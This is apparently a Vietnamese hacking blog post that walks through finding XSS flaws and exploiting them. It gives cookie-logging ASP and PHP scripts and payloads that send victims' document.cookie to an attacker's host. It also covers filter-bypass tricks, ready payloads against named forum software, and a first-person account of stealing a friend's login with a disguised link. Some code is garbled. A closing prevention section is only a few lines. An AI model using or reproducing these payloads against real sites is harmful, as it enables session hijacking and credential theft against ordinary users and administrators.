Tổng lượt truy cập

Thursday, March 17, 2011

KIỂM TRA LỖI XSS

Một site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages ,Web-form , chủ yếu lỗi XSS nằm ở các phần này.
Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi )
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "mysun&air" chẳng hạn.
    Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về- Bất kỳ in ra chữ gì đó mà có dính tới chữ ‘ mysun&air’ mà bạn nhập vào ban đầu thì trang đó dính 99% "Alert" này bi XSS
-        Chú ý các ô input hay các biến ngay trên thanh address với những script này :
<>alert(' mysun&air)< /script> hoặc hoặc &{alert('Mask_NBTA')};
    Bước 4 : Chèn code thực sự vào nơi bị lỗi :
-   chèn cái này <>alert(' mysun&air’)< /script> vào ô ban nãy và nhấn SUBMIT. Nếu sau đó bạn nhận được 1 popup có chữ " mysun&air " thì "Alert" này 100% bị dính XSS .
- Khi view sources nhớ kiếm dòng này<>alert('Mask_NBTA')< /script> , đây chính là lỗi.
KHAI THÁC
Kiểm tra lỗi đã xong bây giờ phải tìm cách khai thác lỗi để đạt được những gì ta mong muốn :
Tôi sẽ trình bày cách thông qua lỗi XSS để lấy cookie của nạn nhân :
*1 : tạo 1 file cookie.asp có nội dung như thế này :
<% Set x = CreateObject("Scripting.FileSystemObject")

Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie") y.Close
Set y = Nothing
Set x = Nothing
%>
hoặc file cookie.php như thế này :
$f = fopen("mask.txt","a");
fputs($f, $cook.chr(13));
fclose($f);
?>
và upload file này lên host của bạn . Chú ý là nếu bạn dùng file .php thì phải up lên host
hỗ trợ PHP (lycos) , dùng file .asp thì up lên host hỗ trợ ASP (brinkster)
* 2 : lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :

http://sitebiloi.com/index.php?page=<>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
Hello all!
hello
<script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.coo
kie)< /script>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .Nhưng không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cơ chế của họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập vào , đơn giản vậy thôi . Chẳng lẽ hacker chịu bó tay , chưa chắc ! Hacker cũng cố gắng vượt qua "bộ lọc" bằng một vài thủ thuật nhỏ :

1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" : Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với ') + ') + '\x3cscript src=ht*p://hostbanupfile.co /cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'

2/Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <>code< /script> thì sẽ bị chặn như sau :
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng để đóng cái kia . Nghĩa là ta chèn cái này vào :<>
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">< /script>lúc này đoạn lọc code ban đầu trở thành :
< /script> và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh ######ng .
Cái này dùng để hack webmail bằng cách tạo fakelogin thì khỏi chê .
3/Không cho JAVASCRIPT tồn tại :
Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code nhập vào :
Ht*p://sitebiloi.com/search.cgi?query=%26%7balert%28%27Mask %27%29%7d%3b Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là {alert('Mask')}; đã được
mã hoá Tôi nêu thêm ra vài ví dụ nữa để các bạn dễ hình dung :

*Forum YABB GOLD 1 SP1 (chưa fix) , bị XSS như sau :
ht*p://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269<script>location%3d'Ht*p://www.hostbanupfile.com/cookie.php?Cookie%3d'%2b(document.cookie)%3b< /script> đó đó , mấy cái kí tự loằng ngoằng bi giờ sử dụng rồi đó (tự tra nhé )
*Forum vbullettin (version bao nhiêu quên rồi ) : ht*p://target.com/boar/usercp.php?s=[SessionID]"><>javascript-:document.write('scr=h*tp ://www.hostbanupfile.com/cookie.asp?cookie='+escape(document.cookie)+'>');*Forum PHPBB 1.4.4 (hình như 2.0 cũng bị) :vào đăng kí 1 cái acc , sau đó send 1 cái topic , ráng làm sao để "Alert" admin nó đọc đặng còn chôm cookie của nó chứ , tôi gợi ý nhé
Nội dung :
your forum is bad, hahaha
[img]javascript:document.write('')[/i*g]
--------------------------------------------------------------------------------
ta thực hiện được là do lợi dụng thẻ img để chèn code . Khi "Alert" admin đọc cái topic này thì cookie của nó lập tức bay vào tay ta . Hà hà !
Cách dùng cookie vừa chôm được :Đối với WIN XP thì cookie được lưu trữ tại : C:\Documents and Settings\tên của bạn\cookies\ còn cookie nào , ở chính xác tại đâu thì vào đó mà kiếm , không thể biết cụ thể được. Kiếm được rồi thì thay thế cái cookie của ta thành cái vừa chôm được , xong trở lại forum với cookie này thì ta là admin . Nhưng hình như nếu ta chôm cookie mà "Alert" admin nó log out mất tiêu thì cookie này coi như vô dụng , chỉ áp dụng được khi "Alert" admin ko log out ( không biết tôi nhớ có chính xác hay không nhưng đại loại có lẽ đúng )

Còn rất nhiều rất nhiều site + forum bị lỗi trên net , ở đây chỉ là vài ba ví dụ để các bạn dễ hình dung .Cách dụ dỗ victim vào đúng cái link mà ta mong muốn :

Để mang tính thực tế và dễ hiểu tôi sẽ kể cho các bạn nghe 1 câu chuyện về hack bằng lỗi XSS và đây cũng là 1 tình huống nữa của lỗi XSS :
Một hôm buồn đời tôi lang thang trên net và vào 1 website nọ , ví dụ là
http://www.a.com/ theo thói quen tôi đánh 1 dữ liệu bất kì vào ô put in USERNAME , và ở đây cái mà tôi đáng vào là Mask_NBTA tôi liền thấy xuất hiện dòng chữ "Invalid login : user Mask_NBTA is not found in our data" , hè hè 1 triệu chứng của XSS đây rồi , nhìn
vào thanh URL lại thấy cái này
http://www.a.com/login.asp?erro=Invalid%20...in%20our%20data
quá sướng rồi còn gì , công việc bi giờ làm sao để hack đây . Đầu tiên tôi save as cái trang này vào dĩa cứng , dùng NOTE PAD open và xem cái sources .Tại sao tôi làm vậy ? Vì tôi muốn biết 2 cái tên biến của login form , và tôi đã dễ dàng tìm thấy , nó là "ten" và "matkhau" , dựa vào 2 cái này thì tôi đã biết mình cần phải làm gì , và phải chèn code như thế nào hè hè . Cái tôi muốn lúc này là làm sao dựa vào XSS để lấy được thông tin về username + pass của nạn nhân . Vậy thì mình chèn cái gì đây , sau 1 thoáng suy nghĩ tôi quyết định chèn cái này đây :


onsubmit=" image= new Image;image.scr='h*tp://myhost/cookie.asp?cookie='+document.form(1).ten.value + '/' +document.form(1).matkhau.value;">

Tôi sẽ giải thích từng cái cho các bạn hiểu :cái để kết thúc cái FORM của cái site đã được mở ra ở trên . Còn cái code bên dưới thì nhìn thôi chắc các bạn cũng hiểu hết , không cần giải thích nhé .

Chèn code như sau :
Ht*p://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2&tênbiến3=giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%3C/FORM%3E%3CFORM%20action=%2 2login1.asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%20i mage;image.scr='h*tp://myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value %20%2b'/'%20%2bdocument.form(1).matkhau.value;%22%2E
Tại sao lại chèn thêm 1 đống biến có thật vào, nhớ là làm sao để nhìn vào URL ta ko thấy cái phần code chèn thêm ngoài sau , chủ yếu là làm cho cái link thêm dài loằng ngoằng trước hết làm hoa mắt nạn nhân , sau đó là tạo dáng vẻ có thật 1 cách tự nhiên cho cái link .
Làm tới đây tôi chợt nghĩ ra mình có "Alert" bạn là member của cái site này , sẵn đang rảnh rổi chọc nó chơi . Cách tôi làm là send cho nó 1 cái mail với nội dung thế này : Xem cái link 
H*tp://www.a.com/login.asp nhưng bên dưới cái link này sẽ là cái
http://www.a.com/login.asp?tênbiến1=giî..au.value;%22%2E
Bạn đoán xem chuyện gì xảy ra . Tất nhiên là nó sẽ click vào cái link tưởng chừng như vô hại đó , sau đó login vào site bình thường mà đâu ngờ là cái username + pass đã bị. Công việc của tôi chỉ là vào host , mở cái file log ra và xem , có gì trong đó , bí mật. Câu chuyện tới đây là hết . Chắc các bạn cũng đã hiểu cách làm của tôi , hy vọng với những cái đầu thiên tài của các bạn thì sẽ có những cách hay hơn cách tôi vừa trình bày .
CÁCH PHÒNG CHỐNG XSS :
1/Trước hết là cho admin của các website :
+ Không cho phép bất cứ HTML tag nào nhập vào từ người dùng .
+ Lọc tất cá các Active Script từ HTML Code
2/Dành cho người dùng :

Tham khảo thêm:
http://www.gnucitizen.org/blog/more-on-gifars-and-other-dangerous-attacks/
http://www.hvaonline.net/hvaonline/posts/list/0/25298.hva